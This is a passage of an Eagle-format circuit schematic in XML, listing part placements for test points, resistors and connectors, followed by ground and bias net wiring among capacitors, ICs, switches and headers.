size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"102.87\" y=\"265.43\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"TP48\" gate=\"G$1\" x=\"111.76\" y=\"266.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"111.76\" y=\"266.7\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"113.03\" y=\"267.97\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"110.49\" y=\"265.43\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"TP49\" gate=\"G$1\" x=\"121.92\" y=\"266.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"121.92\" y=\"266.7\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"123.19\" y=\"267.97\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"120.65\" y=\"265.43\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"TP50\" gate=\"G$1\" x=\"132.08\" y=\"266.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"132.08\" y=\"266.7\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"133.35\" y=\"267.97\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"130.81\" y=\"265.43\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"R45\" gate=\"G$1\" x=\"55.88\" y=\"-91.44\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"57.912\" y=\"-87.0966\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"57.912\" y=\"-93.472\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"55.88\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"J2\" gate=\"1\" x=\"246.38\" y=\"-127\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"243.84\" y=\"-129.54\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"251.46\" y=\"-129.54\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n</instance>\n<instance part=\"J3\" gate=\"1\" x=\"134.62\" y=\"-127\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"132.08\" y=\"-129.54\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"139.7\" y=\"-129.54\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n</instance>\n<instance part=\"J4\" gate=\"1\" x=\"137.16\" y=\"-55.88\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"139.7\" y=\"-58.42\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"139.7\" y=\"-50.8\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n</instances>\n<busses>\n</busses>\n<nets>\n<net name=\"VDIVBIAS\" class=\"0\">\n<segment>\n<pinref part=\"C1\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"R8\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"R1\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"68.58\" y=\"-134.62\"/>\n<junction x=\"68.58\" y=\"-134.62\"/>\n<wire x1=\"68.58\" y1=\"-134.62\" x2=\"78.74\" y2=\"-134.62\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"78.74\" y=\"-134.62\"/>\n<wire x1=\"68.58\" y1=\"-134.62\" x2=\"68.58\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"68.58\" y=\"-116.84\"/>\n<pinref part=\"R10\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"68.58\" y1=\"-116.84\" x2=\"76.2\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"GND\" class=\"1\">\n<segment>\n<pinref part=\"C28\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"45.72\" y=\"218.44\"/>\n<wire x1=\"33.02\" y1=\"213.36\" x2=\"45.72\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"45.72\" y1=\"213.36\" x2=\"45.72\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"SUPPLY4\" gate=\"1\" pin=\"GND\"/>\n<junction x=\"33.02\" y=\"213.36\"/>\n<pinref part=\"U4\" gate=\"P\" pin=\"V-\"/>\n<junction x=\"17.78\" y=\"215.9\"/>\n<pinref part=\"C27\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"33.02\" y=\"218.44\"/>\n<wire x1=\"33.02\" y1=\"218.44\" x2=\"33.02\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"213.36\" x2=\"22.86\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"22.86\" y1=\"213.36\" x2=\"17.78\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"17.78\" y1=\"213.36\" x2=\"17.78\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C25\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"45.72\" y1=\"213.36\" x2=\"58.42\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"58.42\" y1=\"213.36\" x2=\"58.42\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C29\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"58.42\" y1=\"213.36\" x2=\"68.58\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"213.36\" x2=\"68.58\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"68.58\" y=\"218.44\"/>\n<junction x=\"58.42\" y=\"218.44\"/>\n<junction x=\"58.42\" y=\"213.36\"/>\n<junction x=\"45.72\" y=\"213.36\"/>\n<pinref part=\"C26\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"22.86\" y1=\"218.44\" x2=\"22.86\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"22.86\" y=\"213.36\"/>\n<junction x=\"22.86\" y=\"218.44\"/>\n</segment>\n<segment>\n<wire x1=\"-109.22\" y1=\"-99.06\" x2=\"-109.22\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C4\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-116.84\" y1=\"-119.38\" x2=\"-116.84\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-116.84\" y1=\"-144.78\" x2=\"-109.22\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C8\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-109.22\" y1=\"-144.78\" x2=\"-2.54\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-2.54\" y1=\"-116.84\" x2=\"-2.54\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-2.54\" y1=\"-144.78\" x2=\"5.08\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R7\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C9\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"5.08\" y1=\"-116.84\" x2=\"5.08\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"5.08\" y1=\"-144.78\" x2=\"33.02\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"-111.76\" x2=\"33.02\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R1\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"33.02\" y1=\"-144.78\" x2=\"68.58\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"-144.78\" x2=\"43.18\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C1\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"68.58\" y1=\"-144.78\" x2=\"78.74\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"78.74\" y1=\"-144.78\" x2=\"78.74\" y2=\"-142.24\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-109.22\" y=\"-144.78\"/>\n<junction x=\"-2.54\" y=\"-116.84\"/>\n<junction x=\"5.08\" y=\"-144.78\"/>\n<junction x=\"5.08\" y=\"-116.84\"/>\n<junction x=\"-116.84\" y=\"-116.84\"/>\n<junction x=\"33.02\" y=\"-111.76\"/>\n<junction x=\"68.58\" y=\"-144.78\"/>\n<junction x=\"78.74\" y=\"-142.24\"/>\n<junction x=\"-2.54\" y=\"-144.78\"/>\n<junction x=\"33.02\" y=\"-144.78\"/>\n<pinref part=\"C5\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-116.84\" y1=\"-116.84\" x2=\"-116.84\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-116.84\" y1=\"-119.38\" x2=\"-99.06\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"D1\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"-99.06\" y=\"-116.84\"/>\n<junction x=\"-109.22\" y=\"-99.06\"/>\n<wire x1=\"-99.06\" y1=\"-116.84\" x2=\"-99.06\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-99.06\" y1=\"-119.38\" x2=\"-88.9\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C7\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C6\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-78.74\" y1=\"-119.38\" x2=\"-88.9\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-88.9\" y1=\"-119.38\" x2=\"-88.9\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C2\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"175.26\" y1=\"-144.78\" x2=\"215.9\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"228.6\" y1=\"-144.78\" x2=\"215.9\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"137.16\" y1=\"-144.78\" x2=\"137.16\" y2=\"-115.062\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"137.16\" y1=\"-144.78\" x2=\"119.38\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"119.38\" y1=\"-144.78\" x2=\"109.22\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"137.16\" y=\"-144.78\"/>\n<junction x=\"109.22\" y=\"-144.78\"/>\n<junction x=\"109.22\" y=\"-144.78\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"VSS\"/>\n<wire x1=\"177.8\" y1=\"-129.54\" x2=\"175.26\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"175.26\" y1=\"-129.54\" x2=\"175.26\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"175.26\" y=\"-144.78\"/>\n<junction x=\"177.8\" y=\"-129.54\"/>\n<pinref part=\"TEP\" gate=\"G$1\" pin=\"TP\"/>\n<pinref part=\"R4\" gate=\"G$1\" pin=\"A\"/>\n<wire x1=\"119.38\" y1=\"-119.38\" x2=\"119.38\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"P0B\"/>\n<wire x1=\"213.36\" y1=\"-111.76\" x2=\"215.9\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"215.9\" y1=\"-111.76\" x2=\"215.9\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"P1B\"/>\n<wire x1=\"215.9\" y1=\"-121.92\" x2=\"213.36\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"215.9\" y1=\"-121.92\" x2=\"215.9\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"213.36\" y=\"-121.92\"/>\n<junction x=\"213.36\" y=\"-111.76\"/>\n<junction x=\"119.38\" y=\"-119.38\"/>\n<pinref part=\"R5\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"137.16\" y=\"-115.062\"/>\n<wire x1=\"78.74\" y1=\"-144.78\" x2=\"109.22\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C3\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"256.54\" y=\"-144.78\"/>\n<pinref part=\"SUPPLY5\" gate=\"1\" pin=\"GND\"/>\n<junction x=\"228.6\" y=\"-144.78\"/>\n<pinref part=\"R3\" gate=\"G$1\" pin=\"A\"/>\n<wire x1=\"228.6\" y1=\"-121.92\" x2=\"228.6\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"228.6\" y=\"-121.92\"/>\n<pinref part=\"R9\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"264.16\" y1=\"-144.78\" x2=\"251.46\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"228.6\" y1=\"-144.78\" x2=\"246.38\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"246.38\" y1=\"-144.78\" x2=\"251.46\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"256.54\" y1=\"-144.78\" x2=\"251.46\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"251.46\" y1=\"-144.78\" x2=\"251.46\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"251.46\" y=\"-144.78\"/>\n<pinref part=\"TEP2\" gate=\"G$1\" pin=\"TP\"/>\n<pinref part=\"TEP1\" gate=\"G$1\" pin=\"TP\"/>\n<pinref part=\"U2\" gate=\"A\" pin=\"GND\"/>\n<junction x=\"289.56\" y=\"-119.38\"/>\n<wire x1=\"256.54\" y1=\"-144.78\" x2=\"264.16\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"264.16\" y1=\"-144.78\" x2=\"271.78\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"281.94\" y1=\"-144.78\" x2=\"289.56\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"289.56\" y1=\"-144.78\" x2=\"289.56\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U3\" gate=\"G$1\" pin=\"GND\"/>\n<junction x=\"353.06\" y=\"-119.38\"/>\n<wire x1=\"353.06\" y1=\"-144.78\" x2=\"353.06\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"215.9\" y=\"-144.78\"/>\n<wire x1=\"289.56\" y1=\"-144.78\" x2=\"317.5\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"317.5\" y1=\"-144.78\" x2=\"353.06\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"137.16\" y1=\"-144.78\" x2=\"175.26\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"248.92\" y1=\"-149.86\" x2=\"246.38\" y2=\"-149.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"246.38\" y1=\"-149.86\" x2=\"243.84\" y2=\"-149.86\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"251.46\" y=\"-116.84\"/>\n<junction x=\"119.38\" y=\"-144.78\"/>\n<junction x=\"289.56\" y=\"-144.78\"/>\n<wire x1=\"281.94\" y1=\"-144.78\" x2=\"271.78\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"271.78\" y=\"-144.78\"/>\n<junction x=\"264.16\" y=\"-144.78\"/>\n<junction x=\"281.94\" y=\"-144.78\"/>\n<wire x1=\"-78.74\" y1=\"-116.84\" x2=\"-78.74\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"Q1\" gate=\"G$1\" pin=\"E\"/>\n<wire x1=\"-78.74\" y1=\"-119.38\" x2=\"-71.12\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"78.74\" y=\"-144.78\"/>\n<junction x=\"215.9\" y=\"-121.92\"/>\n<junction x=\"-53.34\" y=\"-137.16\"/>\n<pinref part=\"TUNE\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-71.12\" y1=\"-119.38\" x2=\"-71.12\" y2=\"-137.16\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-71.12\" y1=\"-137.16\" x2=\"-53.34\" y2=\"-137.16\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-71.12\" y1=\"-116.84\" x2=\"-71.12\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP1\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"JP1\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"246.38\" y=\"-149.86\"/>\n<pinref part=\"JP1\" gate=\"G$1\" pin=\"3\"/>\n<junction x=\"-71.12\" y=\"-119.38\"/>\n<junction x=\"-116.84\" y=\"-119.38\"/>\n<junction x=\"-99.06\" y=\"-119.38\"/>\n<junction x=\"-88.9\" y=\"-119.38\"/>\n<junction x=\"-88.9\" y=\"-116.84\"/>\n<junction x=\"-78.74\" y=\"-119.38\"/>\n<junction x=\"-78.74\" y=\"-116.84\"/>\n<junction x=\"-71.12\" y=\"-116.84\"/>\n<junction x=\"248.92\" y=\"-149.86\"/>\n<wire x1=\"246.38\" y1=\"-149.86\" x2=\"246.38\" y2=\"-144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"243.84\" y=\"-149.86\"/>\n<junction x=\"246.38\" y=\"-144.78\"/>\n<pinref part=\"TP1\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"317.5\" y=\"-144.78\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VSS_4\"/>\n<pinref part=\"SUPPLY11\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"-50.8\" y1=\"20.32\" x2=\"-48.26\" y2=\"20.32\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VSS_2\"/>\n<wire x1=\"-48.26\" y1=\"20.32\" x2=\"-43.18\" y2=\"20.32\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-43.18\" y1=\"25.4\" x2=\"-48.26\" y2=\"25.4\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"25.4\" x2=\"-48.26\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"20.32\" x2=\"-48.26\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VSS_3\"/>\n<wire x1=\"-43.18\" y1=\"22.86\" x2=\"-48.26\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"20.32\" x2=\"-48.26\" y2=\"17.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VSS_5\"/>\n<wire x1=\"-43.18\" y1=\"17.78\" x2=\"-48.26\" y2=\"17.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"17.78\" x2=\"-48.26\" y2=\"15.24\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VSS\"/>\n<wire x1=\"-43.18\" y1=\"15.24\" x2=\"-48.26\" y2=\"15.24\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"15.24\" x2=\"-48.26\" y2=\"12.7\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"AVSS\"/>\n<wire x1=\"-48.26\" y1=\"12.7\" x2=\"-43.18\" y2=\"12.7\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-50.8\" y=\"20.32\"/>\n<junction x=\"-43.18\" y=\"12.7\"/>\n<junction x=\"-43.18\" y=\"15.24\"/>\n<junction x=\"-43.18\" y=\"17.78\"/>\n<junction x=\"-43.18\" y=\"20.32\"/>\n<junction x=\"-43.18\" y=\"22.86\"/>\n<junction x=\"-43.18\" y=\"25.4\"/>\n<junction x=\"-48.26\" y=\"22.86\"/>\n<junction x=\"-48.26\" y=\"20.32\"/>\n<junction x=\"-48.26\" y=\"17.78\"/>\n<junction x=\"-48.26\" y=\"15.24\"/>\n</segment>\n<segment>\n<wire x1=\"-81.28\" y1=\"154.94\" x2=\"-86.36\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"154.94\" x2=\"-86.36\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-96.52\" y1=\"149.86\" x2=\"-86.36\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"149.86\" x2=\"-86.36\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-81.28\" y1=\"144.78\" x2=\"-86.36\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C16\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"GND16\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C15\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"-81.28\" y=\"154.94\"/>\n<junction x=\"-81.28\" y=\"144.78\"/>\n<junction x=\"-96.52\" y=\"149.86\"/>\n<junction x=\"-86.36\" y=\"149.86\"/>\n</segment>\n<segment>\n<wire x1=\"-91.44\" y1=\"33.02\" x2=\"-91.44\" y2=\"38.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-91.44\" y1=\"38.1\" x2=\"-99.06\" y2=\"38.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-99.06\" y1=\"38.1\" x2=\"-99.06\" y2=\"30.48\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-91.44\" y1=\"38.1\" x2=\"-91.44\" y2=\"43.18\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-91.44\" y=\"38.1\"/>\n<pinref part=\"C13\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"GND19\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C14\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-91.44\" y=\"33.02\"/>\n<junction x=\"-91.44\" y=\"43.18\"/>\n<junction x=\"-99.06\" y=\"30.48\"/>\n</segment>\n<segment>\n<wire x1=\"-162.56\" y1=\"134.62\" x2=\"-170.18\" y2=\"134.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-170.18\" y1=\"134.62\" x2=\"-170.18\" y2=\"127\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-170.18\" y1=\"190.5\" x2=\"-170.18\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-162.56\" y1=\"162.56\" x2=\"-170.18\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-162.56\" y1=\"190.5\" x2=\"-170.18\" y2=\"190.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-170.18\" y1=\"162.56\" x2=\"-170.18\" y2=\"134.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-162.56\" y1=\"160.02\" x2=\"-162.56\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-162.56\" y1=\"187.96\" x2=\"-162.56\" y2=\"190.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-162.56\" y1=\"134.62\" x2=\"-162.56\" y2=\"132.08\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-170.18\" y=\"162.56\"/>\n<junction x=\"-170.18\" y=\"134.62\"/>\n<junction x=\"-162.56\" y=\"162.56\"/>\n<junction x=\"-162.56\" y=\"190.5\"/>\n<junction x=\"-162.56\" y=\"134.62\"/>\n<pinref part=\"GND5\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"RESET\" gate=\"S\" pin=\"1\"/>\n<pinref part=\"USER\" gate=\"S\" pin=\"1\"/>\n<pinref part=\"BOOTLOADER\" gate=\"S\" pin=\"1\"/>\n<pinref part=\"USER\" gate=\"S\" pin=\"2\"/>\n<pinref part=\"BOOTLOADER\" gate=\"S\" pin=\"2\"/>\n<pinref part=\"RESET\" gate=\"S\" pin=\"2\"/>\n<junction x=\"-162.56\" y=\"160.02\"/>\n</segment>\n<segment>\n<wire x1=\"-20.32\" y1=\"215.9\" x2=\"-20.32\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-20.32\" y1=\"215.9\" x2=\"-7.62\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-7.62\" y1=\"215.9\" x2=\"5.08\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-20.32\" y1=\"215.9\" x2=\"-35.56\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-35.56\" y1=\"215.9\" x2=\"-53.34\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-53.34\" y1=\"215.9\" x2=\"-68.58\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-20.32\" y=\"215.9\"/>\n<junction x=\"-7.62\" y=\"215.9\"/>\n<junction x=\"-35.56\" y=\"215.9\"/>\n<junction x=\"-53.34\" y=\"215.9\"/>\n<pinref part=\"C22\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"GND17\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C23\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C24\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C21\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C20\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C19\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"5.08\" y=\"215.9\"/>\n<junction x=\"-68.58\" y=\"215.9\"/>\n<junction x=\"-20.32\" y=\"213.36\"/>\n</segment>\n<segment>\n<pinref part=\"GND24\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"40\"/>\n<wire x1=\"329.692\" y1=\"25.654\" x2=\"316.484\" y2=\"25.654\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"25.654\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"25.4\" x2=\"259.08\" y2=\"25.4\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"GND23\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"40\"/>\n<junction x=\"274.32\" y=\"25.4\"/>\n<junction x=\"259.08\" y=\"25.4\"/>\n</segment>\n<segment>\n<wire x1=\"-137.16\" y1=\"10.16\" x2=\"-127\" y2=\"10.16\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"LED1\" gate=\"G$1\" pin=\"C\"/>\n<pinref part=\"GND6\" gate=\"1\" pin=\"GND\"/>\n<junction x=\"-137.16\" y=\"10.16\"/>\n<junction x=\"-127\" y=\"10.16\"/>\n</segment>\n<segment>\n<pinref part=\"GND8\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C18\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"106.68\" y=\"213.36\"/>\n<junction x=\"106.68\" y=\"213.36\"/>\n</segment>\n<segment>\n<pinref part=\"GND21\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C30\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"139.7\" y=\"213.36\"/>\n<junction x=\"139.7\" 